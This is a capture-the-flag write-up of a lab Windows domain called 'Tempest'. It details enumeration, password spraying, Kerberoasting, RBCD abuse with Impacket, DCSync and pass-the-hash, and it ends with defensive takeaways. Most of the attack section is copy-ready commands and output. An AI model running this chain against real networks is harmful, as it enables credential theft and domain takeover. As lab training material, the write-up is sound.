Enumeration
Tempest presented the standard domain-controller service set, with the domain tempest.htb and hostname DC01 in the LDAP metadata. A second host, FILE01, showed up in DNS and SMB — a member server that would become the pivot.
nmap -sV -sC -p- --min-rate 5000 -oA tempest 10.10.11.78
# 88/tcp open kerberos-sec
# 139/445 open smb
# 389/636 open ldap / ldaps (Domain: tempest.htb)
# 3268 open globalcat
# 5985 open winrm
SMB allowed a null session for RPC lookups but no share listing. RID cycling enumerated the domain principals, giving a user list to spray:
nxc smb 10.10.11.78 -u '' -p '' --rid-brute 5000 | grep SidTypeUser \
| grep -oP 'TEMPEST\\\K[a-z._]+' | sort -u > users.txt
# a.stone b.nguyen c.wells svc_sql svc_backup helpdesk administrator
Foothold — Password Spray
With a user list and no passwords, a careful spray of a single common password across all accounts is low-risk against lockout (one attempt per user) and frequently productive on a lab domain. A seasonal password did the job:
nxc smb 10.10.11.78 -u users.txt -p 'Tempest2026!' --continue-on-success
# [+] tempest.htb\c.wells:Tempest2026!
# ... (others fail)
c.wells is a plain domain user with no shell access, but a valid credential is all that Kerberoasting needs.
Kerberoasting a Service Account
Any authenticated user can request service tickets for accounts that have a Service Principal Name, and the ticket is encrypted with the service account's password hash — crackable offline. Impacket's GetUserSPNs pulled the roastable accounts:
impacket-GetUserSPNs tempest.htb/c.wells:'Tempest2026!' \
-dc-ip 10.10.11.78 -request -outputfile spns.hash
# ServicePrincipalName Name MemberOf
# MSSQLSvc/file01.tempest.htb svc_sql -
# $krb5tgs$23$*svc_sql*$... <- roastable
hashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txt
# $krb5tgs$23$*svc_sql*...:Sup3rDB!2025
svc_sql cracked to Sup3rDB!2025. On its own it is a SQL service account, but its rights in the directory are what matter.
Mapping the Path with BloodHound
Collecting the graph as svc_sql and inspecting its outbound control revealed the intended edge: svc_sql has GenericWrite over the computer object FILE01$.
bloodhound-python -u svc_sql -p 'Sup3rDB!2025' -d tempest.htb \
-ns 10.10.11.78 -c All --zip
# Outbound: svc_sql --[GenericWrite]--> FILE01.TEMPEST.HTB (Computer)
Resource-Based Constrained Delegation (RBCD) lets a resource decide which accounts may impersonate users to it, by writing the trusted accounts into the target's
msDS-AllowedToActOnBehalfOfOtherIdentityattribute.GenericWriteover a computer object lets you write that attribute — so you can nominate an account you control as trusted, then use S4U2Self/S4U2Proxy to get a service ticket to that computer as any user, including its local Administrator.
Privilege Escalation — Resource-Based Constrained Delegation
The RBCD attack needs a controlled account that has an SPN (so it can perform S4U). Any domain user can create a machine account by default (ms-DS-MachineAccountQuota is 10), which comes with SPNs ready-made. Impacket's addcomputer creates one:
# 1. Create an attacker-controlled computer account
impacket-addcomputer tempest.htb/svc_sql:'Sup3rDB!2025' \
-dc-ip 10.10.11.78 -computer-name 'EVILPC$' -computer-pass 'Evil_Pass123'
# 2. Use GenericWrite to set RBCD: allow EVILPC$ to act on behalf of others to FILE01
impacket-rbcd tempest.htb/svc_sql:'Sup3rDB!2025' -dc-ip 10.10.11.78 \
-action write -delegate-to 'FILE01$' -delegate-from 'EVILPC$'
# [*] Delegation rights modified successfully!
With delegation configured, S4U2Self + S4U2Proxy mints a service ticket to FILE01's CIFS service impersonating the built-in Administrator — a user who is local admin on that host:
impacket-getST tempest.htb/'EVILPC$':'Evil_Pass123' -dc-ip 10.10.11.78 \
-spn 'cifs/file01.tempest.htb' -impersonate administrator
# [*] Saving ticket in administrator@[email protected]
export KRB5CCNAME=administrator@[email protected]
impacket-secretsdump -k -no-pass file01.tempest.htb
# Dumps SAM + LSA secrets from FILE01 as Administrator
Domain Admin — DCSync
The LSA secrets from FILE01 included cached credentials for a domain administrator who had logged on to the server — a common real-world sin of using DA accounts for routine server administration. With a DA credential, replicating the directory's secrets (DCSync) hands over the KRBTGT and Administrator hashes:
# From the recovered DA credential, DCSync the domain
impacket-secretsdump tempest.htb/'a.stone':'Wint3r_Adm!n_2026'@10.10.11.78 -just-dc-user administrator
# administrator:500:aad3b435...:5f4dcc3b5aa765d61d8327deb882cf99:::
# Pass-the-hash as Domain Admin -> shell on the DC and the root flag
evil-winrm -i 10.10.11.78 -u administrator -H 5f4dcc3b5aa765d61d8327deb882cf99
# *Evil-WinRM* PS C:\Users\Administrator> type C:\Users\Administrator\Desktop\root.txt
Key Takeaways
- Kerberoastable service accounts must have long, random passwords. Any authenticated user can pull a service ticket and grind it offline with zero noise on the domain, so a service account with a dictionary password is a foothold waiting to happen. Use group-managed service accounts (gMSA) or 25+ character random passwords, and audit for SPNs on user accounts with weak or reused credentials. The offline, lockout-free nature of the attack means password strength is the only real defence.
- Write access over a computer object is domain-escalation-equivalent.
GenericWrite,GenericAll, orWritePropertyonmsDS-AllowedToActOnBehalfOfOtherIdentityis enough to impersonate any user to that machine via RBCD — and the default machine-account quota hands every user the SPN-bearing account the attack needs. Setms-DS-MachineAccountQuotato 0, audit ACLs on computer objects with BloodHound, and remove unnecessary write grants that administrators rarely realise they have delegated. - Domain Admin credentials must never touch member servers. The final jump only worked because a DA had interactively logged on to
FILE01, leaving a credential in LSA for the taking. Adopt a tiered administration model: tier-0 accounts (DAs) log on only to domain controllers and privileged access workstations, never to ordinary servers. Enforce it with authentication-silo / Protected Users policies and logon-restriction GPOs, so that compromising a member server can never yield a directory-wide identity.